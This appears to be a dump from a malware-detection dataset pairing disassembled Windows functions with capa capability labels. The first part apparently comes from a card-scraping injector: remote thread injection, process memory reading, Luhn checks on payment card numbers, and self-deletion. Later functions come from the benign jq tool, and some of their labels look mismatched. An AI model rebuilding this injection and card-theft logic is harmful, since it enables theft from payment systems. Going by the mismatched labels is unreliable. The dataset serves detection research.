joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4031e0
Capabilities:
Create process on windows
Create process suspended
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push 0x44
push 0
lea eax, [ebp - 0x5c]
push eax
call fcn.00401940
add esp, 0xc
mov dword [ebp - 0x5c], 0x44
push 0x10
push 0
lea ecx, [ebp - 0x18]
push ecx
call fcn.00401940
add esp, 0xc
mov dword [0x407184], 1
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x5c]
push eax
push 0
push 0
push 4
push 1
push 0
push 0
push 0
push 0x407360
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x403241
jmp 0x4032da
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [0x407180]
push edx
call fcn.00403660
add esp, 8
mov dword [0x407180], eax
cmp dword [ebp + 8], 1
jne 0x403289
mov eax, dword [0x407188]
mov dword [0x40718c], eax
mov ecx, dword [ebp - 0x10]
mov dword [0x407190], ecx
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [0x407194]
push eax
call fcn.00403660
add esp, 8
mov dword [0x407194], eax
mov ecx, dword [0x407a50]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call fcn.00403600
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4032a7
jmp 0x4032da
mov eax, entry0
sub eax, dword [0x407a50]
add eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call fcn.004034d0
add esp, 8
test eax, eax
jne 0x4032da
cmp dword [ebp + 8], 0
jne 0x4032da
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret

Function at 0x4034d0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x4034f6
mov eax, 1
jmp 0x4034f8
xor eax, eax
pop ebp
ret

Function at 0x403690
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0x40
push 0x3000
mov eax, dword [ebp + 0xc]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
pop ebp
ret
Function at 0x403c20
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov dword [ebp - 0x24], 0
push 0x128
push 0
push 0x407200
call fcn.00401940
add esp, 0xc
mov dword [0x407200], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x18], eax
push 0x407200
mov eax, dword [ebp - 0x18]
push eax
call sub.KERNEL32.dll_Process32First
push 0x407224
call fcn.00403e70
add esp, 4
cmp eax, 1
jne 0x403c7c
jmp 0x403e13
mov ecx, dword [0x407188]
cmp ecx, dword [0x407208]
je 0x403c98
mov edx, dword [0x407188]
cmp edx, dword [0x407218]
jne 0x403c9d
jmp 0x403e13
mov dword [ebp - 4], 0
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x407208]
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x403ccd
jmp 0x403e13
cmp dword [0x407ab0], 1
jne 0x403cf9
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [0x407ab8]
cmp dword [ebp - 0x20], 0
jne 0x403cf9
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403e13
mov dword [ebp - 0xc], 0
mov ecx, 1
test ecx, ecx
je 0x403e09
push 0x1c
push 0
lea edx, [ebp - 0x40]
push edx
call fcn.00401940
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
cmp dword [ebp - 0x40], 0
jne 0x403d42
cmp dword [ebp - 0xc], 0
je 0x403d42
jmp 0x403e09
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x2c]
and ecx, 1
jne 0x403d5e
mov edx, dword [ebp - 0x2c]
and edx, 0x100
je 0x403d60
jmp 0x403d00
mov dword [ebp - 8], 0
cmp dword [ebp - 0x34], 0
jbe 0x403e04
cmp dword [ebp - 8], 0
je 0x403d84
mov eax, dword [ebp - 8]
add eax, 0x64000
mov dword [ebp - 8], eax
jmp 0x403d8a
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 8], ecx
cmp dword [ebp - 0x34], 0x64000
jbe 0x403da8
mov dword [ebp - 0x1c], 0x64000
mov edx, dword [ebp - 0x34]
sub edx, 0x64000
mov dword [ebp - 0x34], edx
jmp 0x403db5
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x10], 0
mov ecx, dword [0x407198]
mov dword [ebp - 0x14], ecx
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00403ec0
add esp, 8
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.004047e0
add esp, 8
jmp 0x403d67
jmp 0x403d00
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x407200
mov eax, dword [ebp - 0x18]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x403c65
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
mov esp, ebp
pop ebp
ret
Function at 0x405080
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 2
mov dword [ebp - 0x40], 4
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x38], 8
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x28], 7
mov dword [ebp - 0x24], 9
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
jmp 0x4050fe
cmp dword [ebp - 8], 0
jne 0x4050f1
mov dword [ebp - 0x10], 1
jmp 0x4050f8
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 0x20], 0
je 0x405145
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx]
sub edx, 0x30
mov dword [ebp - 0x14], edx
cmp dword [ebp - 8], 0
je 0x405130
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
jmp 0x40513a
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + ecx*4 - 0x48]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
jmp 0x4050e2
mov eax, dword [ebp - 0xc]
cdq
mov ecx, 0xa
idiv ecx
test edx, edx
jne 0x40515d
mov dword [ebp - 0x1c], 1
jmp 0x405164
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret

Function at 0x405390
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4b8
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00405c10
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x405466
push 5
lea edx, [ebp - 0x14]
push edx
call fcn.00401340
add esp, 8
lea eax, [ebp - 0x2b0]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x4b8]
push eax
lea ecx, [ebp - 0x2b0]
push ecx
lea edx, [ebp - 0x14]
push edx
call fcn.004058f0
add esp, 0x14
test eax, eax
je 0x405466
push 0x4000
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x407340
push str.UpdateMutex:
push str._s_s
lea edx, [ebp - 0x64]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0xa8]
push ecx
lea edx, [ebp - 0x64]
push edx
lea eax, [ebp - 0x4b8]
push eax
call fcn.00405b90
add esp, 0x10
test eax, eax
je 0x405466
lea ecx, [ebp - 0x64]
push ecx
lea edx, [ebp - 0x24]
push edx
call fcn.00405700
add esp, 8
test eax, eax
je 0x405466
jmp 0x40546b
call fcn.00405840
mov esp, ebp
pop ebp
ret
Function at 0x405470
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov dword [ebp - 4], 0
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004024b0
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x405506
lea edx, [ebp - 0x220]
push edx
push 0
push 0
push 0x20
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 5
lea eax, [ebp - 0x18]
push eax
call fcn.00401340
add esp, 8
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x220]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.00405a40
add esp, 0x10
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4000
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea edx, [ebp - 0x428]
push edx
call fcn.004058a0
add esp, 4
mov esp, ebp
pop ebp
ret

Function at 0x405510
Capabilities:
Delete file
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push 0
mov eax, dword [0x407a48]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
mov ecx, dword [0x407a44]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
mov edx, dword [0x407a40]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [0x407190]
push eax
call fcn.00405a00
add esp, 4
call fcn.00405850
push 0x4075e0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x405700
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Delete file
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0x3c
jae 0x405833
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp + 0xc]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x405810
push 0
mov ecx, dword [0x407a48]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
mov edx, dword [0x407a44]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
mov eax, dword [0x407a40]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [0x407190]
push ecx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 8], eax
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4075e0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x407180]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x40
push 0
lea eax, [ebp - 0x4c]
push eax
call fcn.00401940
add esp, 0xc
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 8]
push edx
push 0x407340
push str.UpdateMutex:
push str._s_s_d
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea ecx, [ebp - 0x4c]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, 1
test edx, edx
je 0x405810
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4057fa
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40570d
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x4058a0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push 0x44
push 0
lea eax, [ebp - 0x54]
push eax
call fcn.00401940
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x10]
push ecx
call fcn.00401940
add esp, 0xc
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x54]
push eax
push 0
push 0
push 0
push 1
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esp, ebp
pop ebp
ret
Function at 0x4058f0
Capabilities:
Create directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 0x406d30
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp + 0xc]
push eax
push str._s_s_s.exe
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
mov edx, dword [ebp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40596c
xor eax, eax
jmp 0x40599a
mov dword [ebp - 8], 0
push 0
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x405a00
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x405a31
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x405a40
Capabilities:
Create directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
push 0x406d10
mov edx, dword [ebp + 0x10]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
push str._s_s.exe
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
push 0
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x405b90
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push 0x80
lea eax, [ebp - 0x80]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov edx, dword [ebp + 0xc]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0x44
push 0
mov eax, dword [ebp + 0x10]
push eax
call fcn.00401940
add esp, 0xc
push 0x10
push 0
mov ecx, dword [ebp + 0x14]
push ecx
call fcn.00401940
add esp, 0xc
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
push 0
push 0
push 0
push 1
push 0
push 0
lea ecx, [ebp - 0x80]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esp, ebp
pop ebp
ret
Function at 0x4015cc
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x1c
mov dword [esp + 8], 0x434024
mov dword [esp + 4], str._njq___commandline_JSON_processor__version__s__n
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._fprintf
mov eax, dword [0x43d028]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Usage:__s__options___jq_filter___file...__n_n
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._fprintf
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x32
mov dword [esp + 4], 1
mov dword [esp], str.For_a_description_of_the_command_line_options_and_n
call sym._fwrite
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x34
mov dword [esp + 4], 1
mov dword [esp], str.how_to_write_jq_filters__and_why_you_might_want_to__n
call sym._fwrite
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x33
mov dword [esp + 4], 1
mov dword [esp], str.see_the_jq_manpage__or_the_online_documentation_at_n
call sym._fwrite
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1f
mov dword [esp + 4], 1
mov dword [esp], str.http:__stedolan.github.com_jq_n_n
call sym._fwrite
mov dword [esp], 2
call sym._exit

Function at 0x4016bc
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x1c
mov eax, dword [0x43d028]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Use__s___help_for_help_with_command_line_options__n
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._fprintf
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x3d
mov dword [esp + 4], 1
mov dword [esp], str.or_see_the_jq_documentation_at_http:__stedolan.github.com_jq_n
call sym._fwrite
mov dword [esp], 2
call sym._exit
Function at 0x40686c
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x3c
mov eax, dword [esp + 0x50]
mov dword [esp + 0x10], eax
mov ecx, dword [esp + 0x54]
mov dword [esp + 0x14], ecx
mov ebx, dword [esp + 0x58]
mov dword [esp + 0x18], ebx
mov edx, dword [esp + 0x5c]
mov dword [esp + 0x1c], edx
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], ecx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], edx
and eax, 0xf
cmp al, 5
je 0x4068c6
mov dword [esp + 8], 0x195
mov dword [esp + 4], str..._.._.._jv.c
mov dword [esp], str.jv_get_kind_a___JV_KIND_STRING
call dbg._assert
mov edi, dword [ebx + 8]
test edi, 1
je 0x4068d9
mov eax, dword [ebx + 4]
jmp 0x406991
mov ecx, edi
shr ecx, 1
mov edx, ecx
sar edx, 2
lea esi, [ebx + edx*4 + 0x10]
neg edx
je 0x406912
mov ebp, 0x432a9843
imul eax, dword [esi + edx*4], 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor eax, ebp
rol eax, 0xd
lea ebp, [eax + eax*4 - 0x19ab949c]
add edx, 1
jne 0x4068ef
jmp 0x406917
mov ebp, 0x432a9843
mov eax, ecx
and eax, 3
cmp eax, 2
je 0x406938
cmp eax, 3
je 0x40692d
cmp eax, 1
jne 0x406963
jmp 0x406948
movzx eax, byte [esi + 2]
shl eax, 0x10
mov edx, eax
jmp 0x40693d
mov edx, 0
movzx eax, byte [esi + 1]
shl eax, 8
xor eax, edx
jmp 0x40694d
mov eax, 0
movzx edx, byte [esi]
xor eax, edx
imul eax, eax, 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor ebp, eax
mov eax, ebp
xor eax, ecx
mov ecx, eax
shr ecx, 0x10
xor eax, ecx
imul eax, eax, 0x85ebca6b
mov ecx, eax
shr ecx, 0xd
xor eax, ecx
imul eax, eax, 0xc2b2ae35
mov edx, eax
shr edx, 0x10
xor eax, edx
or edi, 1
mov dword [ebx + 8], edi
mov dword [ebx + 4], eax
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x406d52
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
push ebx
sub esp, 0x54
mov eax, dword [esp + 0x60]
mov dword [esp + 0x20], eax
mov edx, dword [esp + 0x64]
mov dword [esp + 0x24], edx
mov edx, dword [esp + 0x68]
mov dword [esp + 0x28], edx
mov edx, dword [esp + 0x6c]
mov dword [esp + 0x2c], edx
mov edx, dword [esp + 0x70]
mov dword [esp + 0x10], edx
mov edx, dword [esp + 0x74]
mov dword [esp + 0x14], edx
mov edx, dword [esp + 0x78]
mov dword [esp + 0x18], edx
mov edx, dword [esp + 0x7c]
mov dword [esp + 0x1c], edx
and eax, 0xf
cmp al, 5
je 0x406dba
mov dword [esp + 8], 0x236
mov dword [esp + 4], str..._.._.._jv.c
mov dword [esp], str.jv_get_kind_a___JV_KIND_STRING
call dbg._assert
movzx eax, byte [esp + 0x10]
and eax, 0xf
cmp al, 5
je 0x406de2
mov dword [esp + 8], 0x237
mov dword [esp + 4], str..._.._.._jv.c
mov dword [esp], str.jv_get_kind_b___JV_KIND_STRING
call dbg._assert
mov eax, dword [esp + 0x20]
mov dword [esp + 0x30], eax
mov edx, dword [esp + 0x24]
mov dword [esp + 0x34], edx
mov ebx, dword [esp + 0x28]
mov dword [esp + 0x38], ebx
mov edx, dword [esp + 0x2c]
mov dword [esp + 0x3c], edx
and eax, 0xf
cmp al, 5
je 0x406e25
mov dword [esp + 8], 0x195
mov dword [esp + 4], str..._.._.._jv.c
mov dword [esp], str.jv_get_kind_a___JV_KIND_STRING
call dbg._assert
mov eax, dword [esp + 0x10]
mov dword [esp + 0x40], eax
mov edx, dword [esp + 0x14]
mov dword [esp + 0x44], edx
mov esi, dword [esp + 0x18]
mov dword [esp + 0x48], esi
mov edx, dword [esp + 0x1c]
mov dword [esp + 0x4c], edx
and eax, 0xf
cmp al, 5
je 0x406e68
mov dword [esp + 8], 0x195
mov dword [esp + 4], str..._.._.._jv.c
mov dword [esp], str.jv_get_kind_a___JV_KIND_STRING
call dbg._assert
mov edx, dword [ebx + 8]
shr edx, 1
mov ecx, dword [esi + 8]
shr ecx, 1
mov eax, 0
cmp edx, ecx
jne 0x406e99
mov dword [esp + 8], edx
add esi, 0x10
mov dword [esp + 4], esi
add ebx, 0x10
mov dword [esp], ebx
call sym._memcmp
test eax, eax
sete al
movzx eax, al
add esp, 0x54
pop ebx
pop esi
ret
Function at 0x406e9f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push edi
push esi
push ebx
sub esp, 0x50
mov eax, dword [esp + 0x60]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x64]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x68]
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x3c], eax
mov ebx, dword [esp + 0x70]
mov dword [esp + 0x20], ebx
mov ecx, dword [esp + 0x74]
mov dword [esp + 0x24], ecx
mov edx, dword [esp + 0x78]
mov dword [esp + 0x28], edx
mov eax, dword [esp + 0x7c]
mov dword [esp + 0x2c], eax
mov dword [esp], ebx
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
mov dword [esp + 0xc], eax
call dbg.jvp_string_hash
mov esi, eax
mov eax, dword [esp + 0x80]
mov eax, dword [eax]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x30]
mov dword [esp], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x38]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0xc], eax
call dbg.jvp_object_get_slot
mov ebx, eax
test eax, eax
je 0x406fc5
cmp dword [ebx + 4], esi
jne 0x406f7f
mov eax, dword [ebx + 8]
mov dword [esp + 0x10], eax
mov eax, dword [ebx + 0xc]
mov dword [esp + 0x14], eax
mov eax, dword [ebx + 0x10]
mov dword [esp + 0x18], eax
mov eax, dword [ebx + 0x14]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 0xc], eax
call dbg.jvp_string_equal
test eax, eax
jne 0x406fcc
mov edi, dword [esp + 0x30]
mov dword [esp + 0x40], edi
mov eax, dword [esp + 0x34]
mov dword [esp + 0x44], eax
mov ecx, dword [esp + 0x38]
mov dword [esp + 0x48], ecx
mov edx, dword [esp + 0x3c]
mov dword [esp + 0x4c], edx
mov ebx, dword [ebx]
mov dword [esp + 0x10], ebx
mov dword [esp], edi
mov dword [esp + 4], eax
mov dword [esp + 8], ecx
mov dword [esp + 0xc], edx
call dbg.jvp_object_get_slot
mov ebx, eax
test eax, eax
jne 0x406f36
jmp 0x406fd0
mov eax, 0
jmp 0x406fd5
mov eax, ebx
jmp 0x406fd5
mov eax, 0
add esp, 0x50
pop ebx
pop esi
pop edi
ret